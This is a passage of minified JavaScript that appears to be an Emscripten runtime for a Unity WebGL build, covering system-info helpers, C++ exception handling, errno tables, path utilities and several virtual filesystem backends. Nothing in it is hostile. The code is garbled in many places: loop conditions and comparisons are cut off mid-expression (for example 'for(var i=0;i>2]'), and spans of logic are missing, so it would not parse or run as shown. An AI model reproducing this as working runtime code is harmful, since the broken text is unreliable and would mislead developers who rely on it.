lengthBytesUTF8(gpuinfo)}function _JS_SystemInfo_GetMatchWebGLToCanvasSize(){return Module.matchWebGLToCanvasSize||Module.matchWebGLToCanvasSize===undefined}function _JS_SystemInfo_GetMemory(){return TOTAL_MEMORY/(1024*1024)}function _JS_SystemInfo_GetOS(buffer,bufferSize){var browser=Module.SystemInfo.os+" "+Module.SystemInfo.osVersion;if(buffer)stringToUTF8(browser,buffer,bufferSize);return lengthBytesUTF8(browser)}function _JS_SystemInfo_GetPreferredDevicePixelRatio(){return Module.devicePixelRatio||window.devicePixelRatio||1}function _JS_SystemInfo_GetScreenSize(outWidth,outHeight){HEAPF64[outWidth>>3]=Module.SystemInfo.width;HEAPF64[outHeight>>3]=Module.SystemInfo.height}function _JS_SystemInfo_HasCursorLock(){return Module.SystemInfo.hasCursorLock}function _JS_SystemInfo_HasFullscreen(){return Module.SystemInfo.hasFullscreen}function _JS_SystemInfo_HasWebGL(){return Module.SystemInfo.hasWebGL}function ___atomic_compare_exchange_8(ptr,expected,desiredl,desiredh,weak,success_memmodel,failure_memmodel){var pl=HEAP32[ptr>>2];var ph=HEAP32[ptr+4>>2];var el=HEAP32[expected>>2];var eh=HEAP32[expected+4>>2];if(pl===el&&ph===eh){HEAP32[ptr>>2]=desiredl;HEAP32[ptr+4>>2]=desiredh;return 1}else{HEAP32[expected>>2]=pl;HEAP32[expected+4>>2]=ph;return 0}}function ___atomic_fetch_add_8(ptr,vall,valh,memmodel){var l=HEAP32[ptr>>2];var h=HEAP32[ptr+4>>2];HEAP32[ptr>>2]=_i64Add(l,h,vall,valh);HEAP32[ptr+4>>2]=getTempRet0();return(setTempRet0(h),l)|0}var ENV={};function ___buildEnvironment(environ){var MAX_ENV_VALUES=64;var TOTAL_ENV_SIZE=1024;var poolPtr;var envPtr;if(!___buildEnvironment.called){___buildEnvironment.called=true;ENV["USER"]=ENV["LOGNAME"]="web_user";ENV["PATH"]="/";ENV["PWD"]="/";ENV["HOME"]="/home/web_user";ENV["LANG"]="C.UTF-8";ENV["_"]=Module["thisProgram"];poolPtr=getMemory(TOTAL_ENV_SIZE);envPtr=getMemory(MAX_ENV_VALUES*4);HEAP32[envPtr>>2]=poolPtr;HEAP32[environ>>2]=envPtr}else{envPtr=HEAP32[environ>>2];poolPtr=HEAP32[envPtr>>2]}var strings=[];var totalSize=0;for(var key in ENV){if(typeof ENV[key]==="string"){var line=key+"="+ENV[key];strings.push(line);totalSize+=line.length}}if(totalSize>TOTAL_ENV_SIZE){throw new Error("Environment size exceeded TOTAL_ENV_SIZE!")}var ptrSize=4;for(var i=0;i>2]=poolPtr;poolPtr+=line.length+1}HEAP32[envPtr+strings.length*ptrSize>>2]=0}function ___cxa_allocate_exception(size){return _malloc(size)}function __ZSt18uncaught_exceptionv(){return!!__ZSt18uncaught_exceptionv.uncaught_exception}var EXCEPTIONS={last:0,caught:[],infos:{},deAdjust:(function(adjusted){if(!adjusted||EXCEPTIONS.infos[adjusted])return adjusted;for(var key in EXCEPTIONS.infos){var ptr=+key;var info=EXCEPTIONS.infos[ptr];if(info.adjusted===adjusted){return ptr}}return adjusted}),addRef:(function(ptr){if(!ptr)return;var info=EXCEPTIONS.infos[ptr];info.refcount++}),decRef:(function(ptr){if(!ptr)return;var info=EXCEPTIONS.infos[ptr];assert(info.refcount>0);info.refcount--;if(info.refcount===0&&!info.rethrown){if(info.destructor){Module["dynCall_vi"](info.destructor,ptr)}delete EXCEPTIONS.infos[ptr];___cxa_free_exception(ptr)}}),clearRef:(function(ptr){if(!ptr)return;var info=EXCEPTIONS.infos[ptr];info.refcount=0})};function ___cxa_begin_catch(ptr){var info=EXCEPTIONS.infos[ptr];if(info&&!info.caught){info.caught=true;__ZSt18uncaught_exceptionv.uncaught_exception--}if(info)info.rethrown=false;EXCEPTIONS.caught.push(ptr);EXCEPTIONS.addRef(EXCEPTIONS.deAdjust(ptr));return ptr}function ___cxa_free_exception(ptr){try{return _free(ptr)}catch(e){}}function ___cxa_end_catch(){Module["setThrew"](0);var ptr=EXCEPTIONS.caught.pop();if(ptr){EXCEPTIONS.decRef(EXCEPTIONS.deAdjust(ptr));EXCEPTIONS.last=0}}function ___cxa_find_matching_catch_2(){return ___cxa_find_matching_catch.apply(null,arguments)}function ___cxa_find_matching_catch_3(){return ___cxa_find_matching_catch.apply(null,arguments)}function ___cxa_find_matching_catch_4(){return ___cxa_find_matching_catch.apply(null,arguments)}function ___cxa_pure_virtual(){ABORT=true;throw"Pure virtual function called!"}function ___cxa_rethrow(){var ptr=EXCEPTIONS.caught.pop();ptr=EXCEPTIONS.deAdjust(ptr);if(!EXCEPTIONS.infos[ptr].rethrown){EXCEPTIONS.caught.push(ptr);EXCEPTIONS.infos[ptr].rethrown=true}EXCEPTIONS.last=ptr;throw ptr}function ___resumeException(ptr){if(!EXCEPTIONS.last){EXCEPTIONS.last=ptr}throw ptr}function ___cxa_find_matching_catch(){var thrown=EXCEPTIONS.last;if(!thrown){return(setTempRet0(0),0)|0}var info=EXCEPTIONS.infos[thrown];var throwntype=info.type;if(!throwntype){return(setTempRet0(0),thrown)|0}var typeArray=Array.prototype.slice.call(arguments);var pointer=Module["___cxa_is_pointer_type"](throwntype);if(!___cxa_find_matching_catch.buffer)___cxa_find_matching_catch.buffer=_malloc(4);HEAP32[___cxa_find_matching_catch.buffer>>2]=thrown;thrown=___cxa_find_matching_catch.buffer;for(var i=0;i>2];info.adjusted=thrown;return(setTempRet0(typeArray[i]),thrown)|0}}thrown=HEAP32[thrown>>2];return(setTempRet0(throwntype),thrown)|0}function ___cxa_throw(ptr,type,destructor){EXCEPTIONS.infos[ptr]={ptr:ptr,adjusted:ptr,type:type,destructor:destructor,refcount:0,caught:false,rethrown:false};EXCEPTIONS.last=ptr;if(!("uncaught_exception"in __ZSt18uncaught_exceptionv)){__ZSt18uncaught_exceptionv.uncaught_exception=1}else{__ZSt18uncaught_exceptionv.uncaught_exception++}throw ptr}function ___gxx_personality_v0(){}function ___lock(){}var ERRNO_CODES={EPERM:1,ENOENT:2,ESRCH:3,EINTR:4,EIO:5,ENXIO:6,E2BIG:7,ENOEXEC:8,EBADF:9,ECHILD:10,EAGAIN:11,EWOULDBLOCK:11,ENOMEM:12,EACCES:13,EFAULT:14,ENOTBLK:15,EBUSY:16,EEXIST:17,EXDEV:18,ENODEV:19,ENOTDIR:20,EISDIR:21,EINVAL:22,ENFILE:23,EMFILE:24,ENOTTY:25,ETXTBSY:26,EFBIG:27,ENOSPC:28,ESPIPE:29,EROFS:30,EMLINK:31,EPIPE:32,EDOM:33,ERANGE:34,ENOMSG:42,EIDRM:43,ECHRNG:44,EL2NSYNC:45,EL3HLT:46,EL3RST:47,ELNRNG:48,EUNATCH:49,ENOCSI:50,EL2HLT:51,EDEADLK:35,ENOLCK:37,EBADE:52,EBADR:53,EXFULL:54,ENOANO:55,EBADRQC:56,EBADSLT:57,EDEADLOCK:35,EBFONT:59,ENOSTR:60,ENODATA:61,ETIME:62,ENOSR:63,ENONET:64,ENOPKG:65,EREMOTE:66,ENOLINK:67,EADV:68,ESRMNT:69,ECOMM:70,EPROTO:71,EMULTIHOP:72,EDOTDOT:73,EBADMSG:74,ENOTUNIQ:76,EBADFD:77,EREMCHG:78,ELIBACC:79,ELIBBAD:80,ELIBSCN:81,ELIBMAX:82,ELIBEXEC:83,ENOSYS:38,ENOTEMPTY:39,ENAMETOOLONG:36,ELOOP:40,EOPNOTSUPP:95,EPFNOSUPPORT:96,ECONNRESET:104,ENOBUFS:105,EAFNOSUPPORT:97,EPROTOTYPE:91,ENOTSOCK:88,ENOPROTOOPT:92,ESHUTDOWN:108,ECONNREFUSED:111,EADDRINUSE:98,ECONNABORTED:103,ENETUNREACH:101,ENETDOWN:100,ETIMEDOUT:110,EHOSTDOWN:112,EHOSTUNREACH:113,EINPROGRESS:115,EALREADY:114,EDESTADDRREQ:89,EMSGSIZE:90,EPROTONOSUPPORT:93,ESOCKTNOSUPPORT:94,EADDRNOTAVAIL:99,ENETRESET:102,EISCONN:106,ENOTCONN:107,ETOOMANYREFS:109,EUSERS:87,EDQUOT:122,ESTALE:116,ENOTSUP:95,ENOMEDIUM:123,EILSEQ:84,EOVERFLOW:75,ECANCELED:125,ENOTRECOVERABLE:131,EOWNERDEAD:130,ESTRPIPE:86};function ___setErrNo(value){if(Module["___errno_location"])HEAP32[Module["___errno_location"]()>>2]=value;return value}function ___map_file(pathname,size){___setErrNo(ERRNO_CODES.EPERM);return-1}var ERRNO_MESSAGES={0:"Success",1:"Not super-user",2:"No such file or directory",3:"No such process",4:"Interrupted system call",5:"I/O error",6:"No such device or address",7:"Arg list too long",8:"Exec format error",9:"Bad file number",10:"No children",11:"No more processes",12:"Not enough core",13:"Permission denied",14:"Bad address",15:"Block device required",16:"Mount device busy",17:"File exists",18:"Cross-device link",19:"No such device",20:"Not a directory",21:"Is a directory",22:"Invalid argument",23:"Too many open files in system",24:"Too many open files",25:"Not a typewriter",26:"Text file busy",27:"File too large",28:"No space left on device",29:"Illegal seek",30:"Read only file system",31:"Too many links",32:"Broken pipe",33:"Math arg out of domain of func",34:"Math result not representable",35:"File locking deadlock error",36:"File or path name too long",37:"No record locks available",38:"Function not implemented",39:"Directory not empty",40:"Too many symbolic links",42:"No message of desired type",43:"Identifier removed",44:"Channel number out of range",45:"Level 2 not synchronized",46:"Level 3 halted",47:"Level 3 reset",48:"Link number out of range",49:"Protocol driver not attached",50:"No CSI structure available",51:"Level 2 halted",52:"Invalid exchange",53:"Invalid request descriptor",54:"Exchange full",55:"No anode",56:"Invalid request code",57:"Invalid slot",59:"Bad font file fmt",60:"Device not a stream",61:"No data (for no delay io)",62:"Timer expired",63:"Out of streams resources",64:"Machine is not on the network",65:"Package not installed",66:"The object is remote",67:"The link has been severed",68:"Advertise error",69:"Srmount error",70:"Communication error on send",71:"Protocol error",72:"Multihop attempted",73:"Cross mount point (not really error)",74:"Trying to read unreadable message",75:"Value too large for defined data type",76:"Given log. name not unique",77:"f.d. invalid for this operation",78:"Remote address changed",79:"Can access a needed shared lib",80:"Accessing a corrupted shared lib",81:".lib section in a.out corrupted",82:"Attempting to link in too many libs",83:"Attempting to exec a shared library",84:"Illegal byte sequence",86:"Streams pipe error",87:"Too many users",88:"Socket operation on non-socket",89:"Destination address required",90:"Message too long",91:"Protocol wrong type for socket",92:"Protocol not available",93:"Unknown protocol",94:"Socket type not supported",95:"Not supported",96:"Protocol family not supported",97:"Address family not supported by protocol family",98:"Address already in use",99:"Address not available",100:"Network interface is not configured",101:"Network is unreachable",102:"Connection reset by network",103:"Connection aborted",104:"Connection reset by peer",105:"No buffer space available",106:"Socket is already connected",107:"Socket is not connected",108:"Can't send after socket shutdown",109:"Too many references",110:"Connection timed out",111:"Connection refused",112:"Host is down",113:"Host is unreachable",114:"Socket already connected",115:"Connection already in progress",116:"Stale file handle",122:"Quota exceeded",123:"No medium (in tape drive)",125:"Operation canceled",130:"Previous owner died",131:"State not recoverable"};var PATH={splitPath:(function(filename){var splitPathRe=/^(\/?|)([\s\S]*?)((?:\.{1,2}|[^\/]+?|)(\.[^.\/]*|))(?:[\/]*)$/;return splitPathRe.exec(filename).slice(1)}),normalizeArray:(function(parts,allowAboveRoot){var up=0;for(var i=parts.length-1;i>=0;i--){var last=parts[i];if(last==="."){parts.splice(i,1)}else if(last===".."){parts.splice(i,1);up++}else if(up){parts.splice(i,1);up--}}if(allowAboveRoot){for(;up;up--){parts.unshift("..")}}return parts}),normalize:(function(path){var isAbsolute=path.charAt(0)==="/",trailingSlash=path.substr(-1)==="/";path=PATH.normalizeArray(path.split("/").filter((function(p){return!!p})),!isAbsolute).join("/");if(!path&&!isAbsolute){path="."}if(path&&trailingSlash){path+="/"}return(isAbsolute?"/":"")+path}),dirname:(function(path){var result=PATH.splitPath(path),root=result[0],dir=result[1];if(!root&&!dir){return"."}if(dir){dir=dir.substr(0,dir.length-1)}return root+dir}),basename:(function(path){if(path==="/")return"/";var lastSlash=path.lastIndexOf("/");if(lastSlash===-1)return path;return path.substr(lastSlash+1)}),extname:(function(path){return PATH.splitPath(path)[3]}),join:(function(){var paths=Array.prototype.slice.call(arguments,0);return PATH.normalize(paths.join("/"))}),join2:(function(l,r){return PATH.normalize(l+"/"+r)}),resolve:(function(){var resolvedPath="",resolvedAbsolute=false;for(var i=arguments.length-1;i>=-1&&!resolvedAbsolute;i--){var path=i>=0?arguments[i]:FS.cwd();if(typeof path!=="string"){throw new TypeError("Arguments to path.resolve must be strings")}else if(!path){return""}resolvedPath=path+"/"+resolvedPath;resolvedAbsolute=path.charAt(0)==="/"}resolvedPath=PATH.normalizeArray(resolvedPath.split("/").filter((function(p){return!!p})),!resolvedAbsolute).join("/");return(resolvedAbsolute?"/":"")+resolvedPath||"."}),relative:(function(from,to){from=PATH.resolve(from).substr(1);to=PATH.resolve(to).substr(1);function trim(arr){var start=0;for(;start=0;end--){if(arr[end]!=="")break}if(start>end)return[];return arr.slice(start,end-start+1)}var fromParts=trim(from.split("/"));var toParts=trim(to.split("/"));var length=Math.min(fromParts.length,toParts.length);var samePartsLength=length;for(var i=0;i0){result=buf.slice(0,bytesRead).toString("utf-8")}else{result=null}}else if(typeof window!="undefined"&&typeof window.prompt=="function"){result=window.prompt("Input: ");if(result!==null){result+="\n"}}else if(typeof readline=="function"){result=readline();if(result!==null){result+="\n"}}if(!result){return null}tty.input=intArrayFromString(result,true)}return tty.input.shift()}),put_char:(function(tty,val){if(val===null||val===10){out(UTF8ArrayToString(tty.output,0));tty.output=[]}else{if(val!=0)tty.output.push(val)}}),flush:(function(tty){if(tty.output&&tty.output.length>0){out(UTF8ArrayToString(tty.output,0));tty.output=[]}})},default_tty1_ops:{put_char:(function(tty,val){if(val===null||val===10){err(UTF8ArrayToString(tty.output,0));tty.output=[]}else{if(val!=0)tty.output.push(val)}}),flush:(function(tty){if(tty.output&&tty.output.length>0){err(UTF8ArrayToString(tty.output,0));tty.output=[]}})}};var MEMFS={ops_table:null,mount:(function(mount){return MEMFS.createNode(null,"/",16384|511,0)}),createNode:(function(parent,name,mode,dev){if(FS.isBlkdev(mode)||FS.isFIFO(mode)){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}if(!MEMFS.ops_table){MEMFS.ops_table={dir:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr,lookup:MEMFS.node_ops.lookup,mknod:MEMFS.node_ops.mknod,rename:MEMFS.node_ops.rename,unlink:MEMFS.node_ops.unlink,rmdir:MEMFS.node_ops.rmdir,readdir:MEMFS.node_ops.readdir,symlink:MEMFS.node_ops.symlink},stream:{llseek:MEMFS.stream_ops.llseek}},file:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr},stream:{llseek:MEMFS.stream_ops.llseek,read:MEMFS.stream_ops.read,write:MEMFS.stream_ops.write,allocate:MEMFS.stream_ops.allocate,mmap:MEMFS.stream_ops.mmap,msync:MEMFS.stream_ops.msync}},link:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr,readlink:MEMFS.node_ops.readlink},stream:{}},chrdev:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr},stream:FS.chrdev_stream_ops}}}var node=FS.createNode(parent,name,mode,dev);if(FS.isDir(node.mode)){node.node_ops=MEMFS.ops_table.dir.node;node.stream_ops=MEMFS.ops_table.dir.stream;node.contents={}}else if(FS.isFile(node.mode)){node.node_ops=MEMFS.ops_table.file.node;node.stream_ops=MEMFS.ops_table.file.stream;node.usedBytes=0;node.contents=null}else if(FS.isLink(node.mode)){node.node_ops=MEMFS.ops_table.link.node;node.stream_ops=MEMFS.ops_table.link.stream}else if(FS.isChrdev(node.mode)){node.node_ops=MEMFS.ops_table.chrdev.node;node.stream_ops=MEMFS.ops_table.chrdev.stream}node.timestamp=Date.now();if(parent){parent.contents[name]=node}return node}),getFileDataAsRegularArray:(function(node){if(node.contents&&node.contents.subarray){var arr=[];for(var i=0;inode.contents.length){node.contents=MEMFS.getFileDataAsRegularArray(node);node.usedBytes=node.contents.length}if(!node.contents||node.contents.subarray){var prevCapacity=node.contents?node.contents.length:0;if(prevCapacity>=newCapacity)return;var CAPACITY_DOUBLING_MAX=1024*1024;newCapacity=Math.max(newCapacity,prevCapacity*(prevCapacity0)node.contents.set(oldContents.subarray(0,node.usedBytes),0);return}if(!node.contents&&newCapacity>0)node.contents=[];while(node.contents.lengthnewSize)node.contents.length=newSize;else while(node.contents.length=stream.node.usedBytes)return 0;var size=Math.min(stream.node.usedBytes-position,length);assert(size>=0);if(size>8&&contents.subarray){buffer.set(contents.subarray(position,position+size),offset)}else{for(var i=0;i0||position+lengthe2.timestamp){create.push(key);total++}}));var remove=[];Object.keys(dst.entries).forEach((function(key){var e=dst.entries[key];var e2=src.entries[key];if(!e2){remove.push(key);total++}}));if(!total){return callback(null)}var completed=0;var db=src.type==="remote"?src.db:dst.db;var transaction=db.transaction([IDBFS.DB_STORE_NAME],"readwrite");var store=transaction.objectStore(IDBFS.DB_STORE_NAME);function done(err){if(err){if(!done.errored){done.errored=true;return callback(err)}return}if(++completed>=total){return callback(null)}}transaction.onerror=(function(e){done(this.error);e.preventDefault()});create.sort().forEach((function(path){if(dst.type==="local"){IDBFS.loadRemoteEntry(store,path,(function(err,entry){if(err)return done(err);IDBFS.storeLocalEntry(path,entry,done)}))}else{IDBFS.loadLocalEntry(path,(function(err,entry){if(err)return done(err);IDBFS.storeRemoteEntry(store,path,entry,done)}))}}));remove.sort().reverse().forEach((function(path){if(dst.type==="local"){IDBFS.removeLocalEntry(path,done)}else{IDBFS.removeRemoteEntry(store,path,done)}}))})};var NODEFS={isWindows:false,staticInit:(function(){NODEFS.isWindows=!!process.platform.match(/^win/);var flags=process["binding"]("constants");if(flags["fs"]){flags=flags["fs"]}NODEFS.flagsForNodeMap={"1024":flags["O_APPEND"],"64":flags["O_CREAT"],"128":flags["O_EXCL"],"0":flags["O_RDONLY"],"2":flags["O_RDWR"],"4096":flags["O_SYNC"],"512":flags["O_TRUNC"],"1":flags["O_WRONLY"]}}),bufferFrom:(function(arrayBuffer){return Buffer.alloc?Buffer.from(arrayBuffer):new Buffer(arrayBuffer)}),mount:(function(mount){assert(ENVIRONMENT_IS_NODE);return NODEFS.createNode(null,"/",NODEFS.getMode(mount.opts.root),0)}),createNode:(function(parent,name,mode,dev){if(!FS.isDir(mode)&&!FS.isFile(mode)&&!FS.isLink(mode)){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var node=FS.createNode(parent,name,mode);node.node_ops=NODEFS.node_ops;node.stream_ops=NODEFS.stream_ops;return node}),getMode:(function(path){var stat;try{stat=fs.lstatSync(path);if(NODEFS.isWindows){stat.mode=stat.mode|(stat.mode&292)>>2}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}return stat.mode}),realPath:(function(node){var parts=[];while(node.parent!==node){parts.push(node.name);node=node.parent}parts.push(node.mount.opts.root);parts.reverse();return PATH.join.apply(null,parts)}),flagsForNode:(function(flags){flags&=~2097152;flags&=~2048;flags&=~32768;flags&=~524288;var newFlags=0;for(var k in NODEFS.flagsForNodeMap){if(flags&k){newFlags|=NODEFS.flagsForNodeMap[k];flags^=k}}if(!flags){return newFlags}else{throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}}),node_ops:{getattr:(function(node){var path=NODEFS.realPath(node);var stat;try{stat=fs.lstatSync(path)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}if(NODEFS.isWindows&&!stat.blksize){stat.blksize=4096}if(NODEFS.isWindows&&!stat.blocks){stat.blocks=(stat.size+stat.blksize-1)/stat.blksize|0}return{dev:stat.dev,ino:stat.ino,mode:stat.mode,nlink:stat.nlink,uid:stat.uid,gid:stat.gid,rdev:stat.rdev,size:stat.size,atime:stat.atime,mtime:stat.mtime,ctime:stat.ctime,blksize:stat.blksize,blocks:stat.blocks}}),setattr:(function(node,attr){var path=NODEFS.realPath(node);try{if(attr.mode!==undefined){fs.chmodSync(path,attr.mode);node.mode=attr.mode}if(attr.timestamp!==undefined){var date=new Date(attr.timestamp);fs.utimesSync(path,date,date)}if(attr.size!==undefined){fs.truncateSync(path,attr.size)}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),lookup:(function(parent,name){var path=PATH.join2(NODEFS.realPath(parent),name);var mode=NODEFS.getMode(path);return NODEFS.createNode(parent,name,mode)}),mknod:(function(parent,name,mode,dev){var node=NODEFS.createNode(parent,name,mode,dev);var path=NODEFS.realPath(node);try{if(FS.isDir(node.mode)){fs.mkdirSync(path,node.mode)}else{fs.writeFileSync(path,"",{mode:node.mode})}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}return node}),rename:(function(oldNode,newDir,newName){var oldPath=NODEFS.realPath(oldNode);var newPath=PATH.join2(NODEFS.realPath(newDir),newName);try{fs.renameSync(oldPath,newPath)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),unlink:(function(parent,name){var path=PATH.join2(NODEFS.realPath(parent),name);try{fs.unlinkSync(path)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),rmdir:(function(parent,name){var path=PATH.join2(NODEFS.realPath(parent),name);try{fs.rmdirSync(path)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),readdir:(function(node){var path=NODEFS.realPath(node);try{return fs.readdirSync(path)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),symlink:(function(parent,newName,oldPath){var newPath=PATH.join2(NODEFS.realPath(parent),newName);try{fs.symlinkSync(oldPath,newPath)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),readlink:(function(node){var path=NODEFS.realPath(node);try{path=fs.readlinkSync(path);path=NODEJS_PATH.relative(NODEJS_PATH.resolve(node.mount.opts.root),path);return path}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}})},stream_ops:{open:(function(stream){var path=NODEFS.realPath(stream.node);try{if(FS.isFile(stream.node.mode)){stream.nfd=fs.openSync(path,NODEFS.flagsForNode(stream.flags))}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),close:(function(stream){try{if(FS.isFile(stream.node.mode)&&stream.nfd){fs.closeSync(stream.nfd)}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),read:(function(stream,buffer,offset,length,position){if(length===0)return 0;try{return fs.readSync(stream.nfd,NODEFS.bufferFrom(buffer.buffer),offset,length,position)}catch(e){throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),write:(function(stream,buffer,offset,length,position){try{return fs.writeSync(stream.nfd,NODEFS.bufferFrom(buffer.buffer),offset,length,position)}catch(e){throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),llseek:(function(stream,offset,whence){var position=offset;if(whence===1){position+=stream.position}else if(whence===2){if(FS.isFile(stream.node.mode)){try{var stat=fs.fstatSync(stream.nfd);position+=stat.size}catch(e){throw new FS.ErrnoError(ERRNO_CODES[e.code])}}}if(position<0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}return position})}};var WORKERFS={DIR_MODE:16895,FILE_MODE:33279,reader:null,mount:(function(mount){assert(ENVIRONMENT_IS_WORKER);if(!WORKERFS.reader)WORKERFS.reader=new FileReaderSync;var root=WORKERFS.createNode(null,"/",WORKERFS.DIR_MODE,0);var createdParents={};function ensureParent(path){var parts=path.split("/");var parent=root;for(var i=0;i=stream.node.size)return 0;var chunk=stream.node.contents.slice(position,position+length);var ab=WORKERFS.reader.readAsArrayBuffer(chunk);buffer.set(new Uint8Array(ab),offset);return chunk.size}),write:(function(stream,buffer,offset,length,position){throw new FS.ErrnoError(ERRNO_CODES.EIO)}),llseek:(function(stream,offset,whence){var position=offset;if(whence===1){position+=stream.position}else if(whence===2){if(FS.isFile(stream.node.mode)){position+=stream.node.size}}if(position<0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}return position})}};STATICTOP+=16;STATICTOP+=16;STATICTOP+=16;var FS={root:null,mounts:[],devices:{},streams:[],nextInode:1,nameTable:null,currentPath:"/",initialized:false,ignorePermissions:true,trackingDelegate:{},tracking:{openFlags:{READ:1,WRITE:2}},ErrnoError:null,genericErrors:{},filesystems:null,syncFSRequests:0,handleFSError:(function(e){if(!(e instanceof FS.ErrnoError))throw e+" : "+stackTrace();return ___setErrNo(e.errno)}),lookupPath:(function(path,opts){path=PATH.resolve(FS.cwd(),path);opts=opts||{};if(!path)return{path:"",node:null};var defaults={follow_mount:true,recurse_count:0};for(var key in defaults){if(opts[key]===undefined){opts[key]=defaults[key]}}if(opts.recurse_count>8){throw new FS.ErrnoError(ERRNO_CODES.ELOOP)}var parts=PATH.normalizeArray(path.split("/").filter((function(p){return!!p})),false);var current=FS.root;var current_path="/";for(var i=0;i40){throw new FS.ErrnoError(ERRNO_CODES.ELOOP)}}}}return{path:current_path,node:current}}),getPath:(function(node){var path;while(true){if(FS.isRoot(node)){var mount=node.mount.mountpoint;if(!path)return mount;return mount[mount.length-1]!=="/"?mount+"/"+path:mount+path}path=path?node.name+"/"+path:node.name;node=node.parent}}),hashName:(function(parentid,name){var hash=0;for(var i=0;i>>0)%FS.nameTable.length}),hashAddNode:(function(node){var hash=FS.hashName(node.parent.id,node.name);node.name_next=FS.nameTable[hash];FS.nameTable[hash]=node}),hashRemoveNode:(function(node){var hash=FS.hashName(node.parent.id,node.name);if(FS.nameTable[hash]===node){FS.nameTable[hash]=node.name_next}else{var current=FS.nameTable[hash];while(current){if(current.name_next===node){current.name_next=node.name_next;break}current=current.name_next}}}),lookupNode:(function(parent,name){var err=FS.mayLookup(parent);if(err){throw new FS.ErrnoError(err,parent)}var hash=FS.hashName(parent.id,name);for(var node=FS.nameTable[hash];node;node=node.name_next){var nodeName=node.name;if(node.parent.id===parent.id&&nodeName===name){return node}}return FS.lookup(parent,name)}),createNode:(function(parent,name,mode,rdev){if(!FS.FSNode){FS.FSNode=(function(parent,name,mode,rdev){if(!parent){parent=this}this.parent=parent;this.mount=parent.mount;this.mounted=null;this.id=FS.nextInode++;this.name=name;this.mode=mode;this.node_ops={};this.stream_ops={};this.rdev=rdev});FS.FSNode.prototype={};var readMode=292|73;var writeMode=146;Object.defineProperties(FS.FSNode.prototype,{read:{get:(function(){return(this.mode&readMode)===readMode}),set:(function(val){val?this.mode|=readMode:this.mode&=~readMode})},write:{get:(function(){return(this.mode&writeMode)===writeMode}),set:(function(val){val?this.mode|=writeMode:this.mode&=~writeMode})},isFolder:{get:(function(){return FS.isDir(this.mode)})},isDevice:{get:(function(){return FS.isChrdev(this.mode)})}})}var node=new FS.FSNode(parent,name,mode,rdev);FS.hashAddNode(node);return node}),destroyNode:(function(node){FS.hashRemoveNode(node)}),isRoot:(function(node){return node===node.parent}),isMountpoint:(function(node){return!!node.mounted}),isFile:(function(mode){return(mode&61440)===32768}),isDir:(function(mode){return(mode&61440)===16384}),isLink:(function(mode){return(mode&61440)===40960}),isChrdev:(function(mode){return(mode&61440)===8192}),isBlkdev:(function(mode){return(mode&61440)===24576}),isFIFO:(function(mode){return(mode&61440)===4096}),isSocket:(function(mode){return(mode&49152)===49152}),flagModes:{"r":0,"rs":1052672,"r+":2,"w":577,"wx":705,"xw":705,"w+":578,"wx+":706,"xw+":706,"a":1089,"ax":1217,"xa":1217,"a+":1090,"ax+":1218,"xa+":1218},modeStringToFlags:(function(str){var flags=FS.flagModes[str];if(typeof flags==="undefined"){throw new Error("Unknown file open mode: "+str)}return flags}),flagsToPermissionString:(function(flag){var perms=["r","w","rw"][flag&3];if(flag&512){perms+="w"}return perms}),nodePermissions:(function(node,perms){if(FS.ignorePermissions){return 0}if(perms.indexOf("r")!==-1&&!(node.mode&292)){return ERRNO_CODES.EACCES}else if(perms.indexOf("w")!==-1&&!(node.mode&146)){return ERRNO_CODES.EACCES}else if(perms.indexOf("x")!==-1&&!(node.mode&73)){return ERRNO_CODES.EACCES}return 0}),mayLookup:(function(dir){var err=FS.nodePermissions(dir,"x");if(err)return err;if(!dir.node_ops.lookup)return ERRNO_CODES.EACCES;return 0}),mayCreate:(function(dir,name){try{var node=FS.lookupNode(dir,name);return ERRNO_CODES.EEXIST}catch(e){}return FS.nodePermissions(dir,"wx")}),mayDelete:(function(dir,name,isdir){var node;try{node=FS.lookupNode(dir,name)}catch(e){return e.errno}var err=FS.nodePermissions(dir,"wx");if(err){return err}if(isdir){if(!FS.isDir(node.mode)){return ERRNO_CODES.ENOTDIR}if(FS.isRoot(node)||FS.getPath(node)===FS.cwd()){return ERRNO_CODES.EBUSY}}else{if(FS.isDir(node.mode)){return ERRNO_CODES.EISDIR}}return 0}),mayOpen:(function(node,flags){if(!node){return ERRNO_CODES.ENOENT}if(FS.isLink(node.mode)){return ERRNO_CODES.ELOOP}else if(FS.isDir(node.mode)){if(FS.flagsToPermissionString(flags)!=="r"||flags&512){return ERRNO_CODES.EISDIR}}return FS.nodePermissions(node,FS.flagsToPermissionString(flags))}),MAX_OPEN_FDS:4096,nextfd:(function(fd_start,fd_end){fd_start=fd_start||0;fd_end=fd_end||FS.MAX_OPEN_FDS;for(var fd=fd_start;fd<=fd_end;fd++){if(!FS.streams[fd]){return fd}}throw new FS.ErrnoError(ERRNO_CODES.EMFILE)}),getStream:(function(fd){return 